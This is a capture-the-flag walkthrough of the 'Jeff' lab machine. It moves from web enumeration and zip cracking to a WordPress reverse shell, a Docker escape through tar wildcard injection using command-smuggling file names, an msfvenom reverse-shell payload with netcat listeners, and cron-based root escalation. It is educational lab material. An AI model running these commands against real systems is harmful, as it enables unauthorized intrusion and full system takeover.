1. Port Scanning
I started with a simple nmap TCP port scan, and by the ouput we can see that there’s nothing beyond the usual.
2. Web Server Enumeration & Vhost Discovery
The webserver’s main page appears to be completely empty, but viewing it’s source code, we see a hint.
Let’s add jeff.thm to our /etc/hosts
We can now begin searching for valid subdomains and web server directories. To do so, gobuster fits our needs.
Running gobuster vhost mode with a DNS wordlist from seclists, we’re able to find a valid subdomain: wordpress.jeff.thm. Don’t forget to add it to your /etc/hosts file.
And running gobuster dir mode with the medium directory wordlist from dirbuster, we’re able to find 4 paths to follow: /uploads, /admin, /assets, /backups
There’s nothing interesting at jeff.thm main page, at /uploads there’s an upload form that does absolutely nothing, /admin is blank, /assets gives us a 403 (Forbidden), leaving us left with /backups.
I ran gobuster dir mode with the same wordlist, but updated the url value to http://jeff.thm/backups and added an option to include extensions at the end of each word. The extensions I added are common backup extensions like .tar, .zip, .rar, .7z and .bak. After a while, found a valid backup file: http://jeff.thm/backups/backup.zip
3. Cracking Encrypted Backup File
We can download the backup file at /backups/backup.zip, but cannot unzip it because it’s encrypted.
We can use JohnTheRipper and it’s scripts to try to crack the file. As it’s a zip file, we need to use zip2john.py to convert it to a format that john can understand and work with.
Valid password for the zip file (REDACTED).
Unzipping the backup, we can find a valid password for the wordpress user at wpadmin.bak
4. WordPress Exploitation & Initial Shell
Using the previously found password, we’re able to log in as “jeff ”at wordpress.jeff.thm/wp-login.php
After realizing that I won’t be able to upload a reverse shell by the usual ways, like editing a php file from the theme configuration, there is the solution that I managed to find -> Links: Source // Download
Go to plugins > add new > upload plugin > select the zip file, install and activate it
We could exploit this vulnerability manually, but there is a metasploit module that can do this for us automatically. Run msfconsole on your attacking machine, and follow the steps below.
5. Docker Container Breakout
We received a reverse shell connection, but sadly we’re in a docker container. We can confirm that by many means, but the most common is the presence of the file /.dockerenv.
We are logged in as “www-data”, the user responsible for the webserver. Checking /var/www/html folder, we find an interesting php file /var/www/html/ftp_backup.php
The script is uploading files to the ftp server on the host machine, and the host machine is doing something with these files. As it is a backup script, we can assume the host machine is compressing all files inside the directory to create a local backup. The correct path to follow is TAR wildcard exploitation.
1. Enumerating – FTP Server
[Victim machine]$ curl -s -v -P – ‘ftp://backupmgr:[email protected]’
2. Exploiting – Tar
[Victim machine]$ echo ” > ‘–checkpoint-action=exec=sh shell.sh’
[Victim machine]$ echo ” > ‘–checkpoint=1’
P.S. Must be inside a writable folder, like /dev/shm
3. Exploiting – Shell generation
[Attacking machine]$ msfvenom -p cmd/unix/reverse_python lhost=YOUR-TUN0-IP lport=1234 R
Then, copy the output and save to ‘shell.sh’ on the victim machine, or use a python webserver and wget to transfer the file.
4. Uploading
[Victim machine]$ curl -T “–checkpoint-action=exec=sh shell.sh” -P – ‘ftp://backupmgr:[email protected]/files/’
[Victim machine]$ curl -T “–checkpoint=1” -P – ‘ftp://backupmgr:[email protected]/files/’
[Victim machine]$ curl -T shell.sh -P – ‘ftp://backupmgr:[email protected]/files/’
[Attacking machine]$ netcat -lvnp 1234
6. Horizontal Privilege Escalation
There are two users that have a home directory, jeff and backupmgr (us). Let’s search for files owned by jeff.
We can transfer /opt/systools/systool (owned by jeff, and only readable by him and users with the group “pwman”) to our machine and analyze further using reverse engineering tools. As this appears to be a simple ELF executable, let’s simply use the tool “strings”.
The script opens “message.txt” every time the option 2 is chose. This binary’s permissions are peculiar, there is a SGID bit set on it, and that mean we can run it with pwnman’s group permissions.
[Victim machine]$ cd /opt/systools
[Victim machine]$ rm message.txt
[Victim machine]$ ln -s /var/backups/jeff.bak message.txt
[Victim machine]$ ./systool
Choose your option: 2
Doing so, we’re able to log in as jeff using his password running $su jeff
The user flag is not hashed. Run:
$ echo -n FLAG | md5sum
7. Vertical Privilege Escalation
As we have jeff’s password, le’ts see if he can run something as another user, perhaps root.
Seems like there are some restrictions in place and some commands are returning error. Let’s use python to circumvent this issue.
python -c ‘import pty; pty.spawn(“/bin/bash”)’
There are many ways we can abuse crontab, but I chose to create a malicious python script inside /dev/shm, that will execute a system command (chmod +s /bin/bash), giving me the rights to run /bin/bash with root permissions.
[Victim Machine]$ sudo crontab -e
1. Scroll down to the bottom
2. Press: I
3. Paste this: * * * * * /usr/bin/python3 /dev/shm/script.py
4. Press: Esc, then : and type wq! to save and quit
5. Wait about 1 minute and run:
[Victim Machine]$ /bin/bash -p
Conclusion
Very cool machine, which covered a bunch of interesting topics. It took me a lot of time in order to complete the box, really testing my “tryhard” mentality. Overall, the Jeff CTF is a highly recommended room for anyone looking to improve their penetration testing skills in a fun and interactive way.
We hope that you have found our content useful and engaging, and we invite you to explore more of our website to discover other interesting topics that we cover. From cybersecurity to programming, we strive to provide our readers with the latest and most relevant information that can help them stay informed and ahead of the curve. We are committed to providing you with the best possible user experience, and we welcome your feedback and suggestions via the contact form. Thank you for choosing our website, and we hope to see you again soon!